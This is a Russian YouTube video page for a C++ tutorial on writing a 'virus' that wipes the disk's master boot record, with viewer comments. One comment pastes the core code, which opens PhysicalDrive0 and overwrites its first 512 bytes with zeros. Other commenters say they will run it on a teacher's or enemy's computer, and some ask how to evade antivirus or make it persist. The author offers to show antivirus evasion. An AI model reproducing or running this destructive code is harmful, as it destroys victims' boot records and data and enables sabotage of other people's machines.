C++. Стираем MBR раздел. Уничтожаем Windows и все данные. Вирус на C++

Поделиться
HTML-код
  • Опубликовано: 5 окт 2024
  • Поддержать проект - www.donationale...
    После запуска программы все данные будут повреждены и потребует форматировать диск. Автор не несёт ответственности за использования и последствия использования программы.
    Вы этом уроке вы узнаете как стереть MBR раздел на диске и сломать Windows.
    Подписывайтесь на канал, ставьте лайки, задавайте вопросы в комментариях!

Комментарии • 114

  • @Apathyy322
    @Apathyy322 2 месяца назад +2

    Промазал по клавише и запустил на основном пк. Могу с уверенностью сказать - это работает!

  • @kxrxtygin5744
    @kxrxtygin5744 4 года назад +32

    Воспользуюсь моментом, пока я здесь первый. Байт, скажи откуда ты черпал инфу по, например, видосам по вирусам на C++, как этот, и по C#, SQL. Да и вообще было бы интересно узнать, по каким книгам, ресурсам необходимо учиться, продолжать учёбу, помимо таких, как metanit для C#, помимо таких авторов, как Шилдт и другие широко известные книги\web-ресурсы в интернете, для наиболее углубленного изучения. Спасибо большое за уроки.

    • @dark_evil77
      @dark_evil77 4 года назад +4

      Ты тупой? О чем ты говоришь? Всю инфу ты черпишь из гугла из SO, надо уметь гуглить или тебе нет места в программировании, и причем тут шилдт? Это справочник по языку, а не книги по готовым рецептам!

  • @apcorev4942
    @apcorev4942 4 года назад +9

    Вот это круть!!! все гораздо проще чем кажется))) А как можно посмотреть видео с ограниченным доступом?

  • @zimavi
    @zimavi Год назад +9

    Прощай пк моего врага!

  • @Old_GaM
    @Old_GaM 4 года назад +11

    Я как-то писал "вирус" который сидел в автозагрузке и выключал комп при включении) Но так жёстко решил не залезать)

    • @mzrtwgg
      @mzrtwgg Год назад

      ​@HyperWin а как это сделать скажите пж

    • @fregrtgthythythyt
      @fregrtgthythythyt Год назад

      @@mzrtwgg пиши прогу, которая будет оффать комп. через винрар cfx делай чтоб при каждом запуске запускалась. все

    • @off-world9171
      @off-world9171 Год назад

      Я сделал батник на виртуалке, который ассоциирует все файлы по типу длл, exe и сис. Там еще он запускает прогу, которая чтерает мбр к чертям собачьим.

  • @vedro1488
    @vedro1488 Год назад +3

    Спасибо, пойду на компе училки запускать)

    • @avtoritet858
      @avtoritet858 4 месяца назад +2

      У училки на компе умер МБР собираем деньги на новый жёсткий диск
      Цена 100 лайков

    • @TimTim-zo5qh
      @TimTim-zo5qh 4 месяца назад

      Надо ну убивать мбр а заминить окном с требованием заплптить 100 рублей.​@@avtoritet858

  • @Oto__Ai
    @Oto__Ai 2 года назад +2

    люди, объясните что такое #include "stdafx.h". Постоянно встречаю но в visual studio 2022 горит красным и все.

    • @its_unknow
      @its_unknow 2 года назад +1

      stdafx.h это предкомпиленный заголовочный файл, в vs22 его нет, вместо него pch.h, и то если включен precompiled header в настройках IDE, вообще этот pch.h необязателен, но сборку ускоряет

  • @Ethanuz
    @Ethanuz Месяц назад

    на какой версии Visual это было написано?

  • @ВикторКапшин
    @ВикторКапшин 4 года назад +2

    Не на всех системах срабатывает, на некоторых не может найти *.dll (точно не помню какой)...есть ли способ затянуть эту библиотеку в саму сборку при компиляции?

  • @mrybs
    @mrybs 2 года назад +2

    Пока программисты на винде пишут очередные вирусы, программисты на лине пишут полезные инструменты. Да и разве у всех mbr?

    • @DX2PM
      @DX2PM 7 месяцев назад

      Затирается не только МБР а ещё Windows Boot Manager - Такчто без разницы

  • @VirusNew17
    @VirusNew17 Год назад +1

    1:11 также люди с выключенным uac - 🗿👍

    • @sterd2009
      @sterd2009 2 месяца назад

      ну это пиздец

  • @Чёрныйпёс-и5я
    @Чёрныйпёс-и5я 27 дней назад

    Скажи пж как вставить видео. Ну как в вирусе Memz Trojan. Я пытаюсь а у меня ничего не получается. Заметь пожалуйста

  • @darkseid_6935
    @darkseid_6935 3 года назад +3

    ххахахахахахха ой моим обидчикам будет очень плохо после этого видео :)))))))))

  • @xamarin813
    @xamarin813 4 года назад +4

    Не много не согласен, что конец самому windows. MBR можно восстановить. И то это дело все работает если таблица разделов mbr а не gpt.

    • @Krackenfog
      @Krackenfog Год назад

      специально создал виртуалку с mbr, и gpt. Как итог программа везде роняла MBR. Программа и там, и там запускалась от имени администратора

  • @brigadier2570
    @brigadier2570 2 года назад

    Я: Друг открой эту папку на своём ПК)

  • @morkovisha4635
    @morkovisha4635 3 года назад +2

    Ок, а как перезаписать mbr? Тогда получится прототип MEMZ написать.

    • @scrooll7104
      @scrooll7104 2 года назад +1

      Ещё картинку кота поставить, вообще ржака будет

    • @Ivan_sev
      @Ivan_sev 2 года назад

      @@scrooll7104 А что, вообще нельзя будет записать mbr назад (Знаю что не получиться запустить назад, но сделать так чтобы можно было вернуть его до вкл. сеанса)

  • @АлександрКочин-н4в
    @АлександрКочин-н4в 2 года назад +6

    данные не уничтожены, только таблица разделов. Уничтожение сделает не работоспособной и линуху

    • @artjomartjom3335
      @artjomartjom3335 Год назад +1

      Petya так работает

    • @artjomartjom3335
      @artjomartjom3335 Год назад +1

      Petya это вирус

    • @senkosan887
      @senkosan887 Год назад +1

      ​@@artjomartjom3335Петя не так работает Петя шифрует таблицу с информацией о данных не давая доступа к диску а МБР это загрузочная запись системы и её легко восстановить

  • @fghfyiyjg1048
    @fghfyiyjg1048 2 года назад +1

    Вопрос, стоит на виртуалке Win 7 64bit но программа при запуске выполняет else, пробовал добавить вирус в контейнер, и также открыл голый файл, но один и тот же результат, что я мог не учесть?

    • @user-pr2fp7ly1c
      @user-pr2fp7ly1c 5 месяцев назад

      разве семёрка 64 бывает?

  • @senkosan887
    @senkosan887 Год назад

    МБР это загрузочная запись системы и её легко восстановить это не уничтожит файлы данные и т.д

  • @TailsFinance777
    @TailsFinance777 3 года назад +2

    для вируса нужен вирус. Который будет блочить поток

  • @nikto9984
    @nikto9984 3 года назад +1

    Можно вопрос?
    Как ты сделал программу которая запускается без папки?

    • @queww1111
      @queww1111 2 месяца назад

      это просто .exe

  • @coderasts001
    @coderasts001 Год назад

    MBR восстанавливается через LiveCD и Bootice, к примеру, так что, такая себе проблема

  • @serega.mp4
    @serega.mp4 2 года назад

    Дружище просто пишет Something has gone wrong и все

  • @inqmusician2
    @inqmusician2 4 года назад +5

    Вот комманды для тех, у кого есть установочный диск Windows.
    bootrec /fixmbr
    bootrec /fixboot

    • @toxidworm
      @toxidworm 3 года назад

      Это не поможет...

    • @inqmusician2
      @inqmusician2 3 года назад

      @@toxidworm Чем?

    • @cryptoeyt
      @cryptoeyt 3 года назад

      @@toxidworm это поможет скорее всего, если диск C:/ не был отформатирован

  • @murenium
    @murenium 2 года назад +1

    Когда случайно нажал локальный отладчик...

    • @Bytepp
      @Bytepp  2 года назад

      Press F...

  • @hmuriy777
    @hmuriy777 Год назад

    Помогите решить проблему:
    Не удается открыть источник файл "stdfx.h"
    В чем причина?

    • @nyman0
      @nyman0 Год назад

      Возможно у тебя нету файла stdfx.h на компьютере

  • @vo0ov777
    @vo0ov777 2 года назад +2

    А х64 можно?

  • @Ivan_sev
    @Ivan_sev 2 года назад +1

    а как это сделать на c#? и если можно удалить то можно ли его вернуть?

    • @mioxive
      @mioxive 3 месяца назад

      вроде можно, на c# сам перепишешь

    • @Ivan_sev
      @Ivan_sev 3 месяца назад

      @@mioxive ну с chatgpt теперь можно многое

  • @ВиталийИванов-й6ц
    @ВиталийИванов-й6ц 3 года назад +1

    на gpt как сделать? 50р. переведу первому.

    • @Ickari
      @Ickari Год назад

      вместо MBR (Master Boot Record) На GPT (GUID Partition Table)

    • @sterd2009
      @sterd2009 2 месяца назад

      я пробовал на mbr и gpt - результат одинаковый

  • @meme-fx6ue
    @meme-fx6ue 4 года назад +2

    Когда пишешь саму программу, объясняй что и к чему. А то так неинтересно, непонятно и бесполезно.

    • @wonderful2122
      @wonderful2122 Год назад

      Открыл файл для записи и заполнил нулями

  • @ЕленаВакуленко-ю5щ
    @ЕленаВакуленко-ю5щ 2 года назад

    Дай код для кремации оперативки

  • @eshkereee_tBarb
    @eshkereee_tBarb 2 года назад

    Байт, скажи, как сделать что-бы программа вызывала опросник, и при 2х ответах вызывалось окно "Ты прав" а при 1м БСОД (не вредящий системе.)
    Либо в принципе как создавать такого типа приложения.

    • @matveyyatskin4312
      @matveyyatskin4312 Год назад

      Ну ты хоть начни учить плюсы и поймешь. тут ничего сложного. но если что, то лови код, как это реализовать
      #include
      using namespace std;
      void main()
      {
      setlocale(LC_ALL, "ru");
      short a;
      cout > a;
      if ((bool)a)
      {
      //Код, который вызывает BSOD
      }
      else
      {
      cout

    • @eshkereee_tBarb
      @eshkereee_tBarb Год назад

      @@matveyyatskin4312 Спасибо, разобрался

    • @Kreon_
      @Kreon_ Год назад

      @@matveyyatskin4312 как сделать который стирает МБР И на место его вылезаеть видео, как в MEMZ троян

    • @matveyyatskin4312
      @matveyyatskin4312 Год назад

      Это уже уголовная статья, я против такого. Я законы не нарушаю

    • @Kreon_
      @Kreon_ Год назад

      @@matveyyatskin4312 чо ты несешь

  • @olegpupkin4460
    @olegpupkin4460 2 года назад

    работает только windows 10

  • @minoddein7205
    @minoddein7205 4 года назад

    Можно ли такое писать на c#?
    Почему именно с++,а не с#?
    Где такому можно научиться?

    • @Bytepp
      @Bytepp  4 года назад

      Можно и на c#. Нужно просто импортировать функции из winAPI и обращаться к ним

    • @Bytepp
      @Bytepp  4 года назад

      Плюс c++ в том, что не надо ничего импортить берёшь и вызываешь сразу

    • @minoddein7205
      @minoddein7205 4 года назад

      @@Bytepp , спасибо за ответы

    • @Ivan_sev
      @Ivan_sev 3 года назад

      Почему я раньше не посмотрел это видео, у меня были проблемы с общей папкой, а тут решение есть этой проблемы

  • @АндрейЗаболотный-и2р

    Дайте мне просто этот файл…

  • @sovenok-hacker
    @sovenok-hacker 10 месяцев назад

    5:00 :)

  • @alexlyt9104
    @alexlyt9104 3 года назад

    Локер покажи как пишешь?)

    • @Bytepp
      @Bytepp  3 года назад +1

      Если сделаю, сниму видос))

  • @jptupx5673
    @jptupx5673 2 года назад

    работает

  • @malenkiy.huligan
    @malenkiy.huligan 4 года назад

    Мне кажется это не совсем с++, там язык с

    • @jamade3687
      @jamade3687 4 года назад

      почти одно и то же

    • @lphoenixl7771
      @lphoenixl7771 3 года назад

      С++ это просто улучшенный С.

  • @TidalyGD
    @TidalyGD Год назад

    легче написать на MBR NOTE BUILDER И + ТАМ МБР С ТЕКСТОМ(ЛЮБИМ)

    • @VirusNew17
      @VirusNew17 Год назад

      Да, но это легко восстановить.

    • @TidalyGD
      @TidalyGD Год назад

      @@VirusNew17 угу но зато легко

    • @DomNaVetvyah
      @DomNaVetvyah Год назад

      ​@@VirusNew17какие люди тут сидят)

  • @kogan5918
    @kogan5918 Год назад

    Писал как то на простом autoit 😂ещё тогда когда и 8 в помине не было при запуске валил crc и все бсод 😂запускалась как служба 😂

  • @aristotle1337
    @aristotle1337 4 года назад +2

    ты чё творишь, ахахах

  • @ultrasonixx
    @ultrasonixx 4 года назад +6

    Вся информация останется, если восстановить mbr все будет работать!

    • @ВикторКапшин
      @ВикторКапшин 4 года назад

      Можно поставить на автозапуск при старте системы, и при восстановлении mbr оно будет снова удаляться)))

    • @toxidworm
      @toxidworm 3 года назад

      @@ВикторКапшин + её можно сделать с загрузкой рабочего стола что и в безопасном режиме не удалялось!

    • @lphoenixl7771
      @lphoenixl7771 3 года назад +1

      @@ВикторКапшин восстановление MBR через консоль с загрузочной флешки + безопасный режим и этот "вирус" побежден..
      Хотя да, рядового пользователя может поднять нервишки или напугать.

    • @vedro1488
      @vedro1488 Год назад

      @@ВикторКапшин Можно это удалить через безопасный режим

    • @DomNaVetvyah
      @DomNaVetvyah Год назад

      @@vedro1488 если привязать к загрузке рабочего стола будет удаляться даже в нем

  • @ДаниилЯкубов-о1ю

    привет, можно пожалуйста ссылочку на exe файл? просто мне нужно в своих целях, а я python разработчик.
    ...
    я сам бы сделал это, но я обсалютно не понимаю c++ и как там работать.
    заранее спасибо.

    • @off-world9171
      @off-world9171 Год назад

      Батник можешь написать

  • @aleksandrgaziev4470
    @aleksandrgaziev4470 4 года назад

    А как на счет антивируса? Скорей всего он спалит данную шалость)) как на счет тест на каком нибудь вирустотал + урок как переписать так что б шаласть не палилась имея тот же функционал?

    • @Bytepp
      @Bytepp  4 года назад

      Не спалит))) проги этой нет в базе, да она и не выполняет чего-то такого особенного, просто затираем 512 байт на диске и всё

    • @aleksandrgaziev4470
      @aleksandrgaziev4470 4 года назад

      @@Bytepp Ок. А как на счет второй части комментария? Показать как же гуру мыслей пишут шалости...

    • @Bytepp
      @Bytepp  4 года назад +3

      @@aleksandrgaziev4470, тест с антивирусом и маскировкой может и сниму как нибудь))

    • @aleksandrgaziev4470
      @aleksandrgaziev4470 4 года назад +1

      @@Bytepp Будет отличное видео. Правда надеюсь это не будет в стиле используйте криптор 200х годов, а что нибудь свое, в плане изменения кода и т.п😀

    • @yuriy289
      @yuriy289 4 года назад

      Не для рекламы, но нортон на этапе компиляции уже все стопорит. То же самое и с плывущим экраном.

  • @And-s5j
    @And-s5j 3 месяца назад +2

    кому лень:
    #include "stdafx.h"
    #include
    #include
    using namespace std;
    #define MBR_SIZE 512
    int main()
    {
    DWORD write;
    char mbr[MBR_SIZE];
    ZeroMemory(&mbr, (sizeof mbr));
    HANDLE MasterBootRecord = CreateFile(L"\\\\.\\PhysicalDrive0",
    GENERIC_ALL,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    OPEN_EXISTING,
    NULL,
    NULL);
    if (WriteFile(MasterBootRecord, mbr, MBR_SIZE, &write, NULL) == TRUE)
    {
    cout

    • @sterd2009
      @sterd2009 2 месяца назад +1

      короче, ничего сложного

    • @SkyUIS
      @SkyUIS Месяц назад +1

      проверял?

    • @And-s5j
      @And-s5j Месяц назад +1

      @@SkyUIS да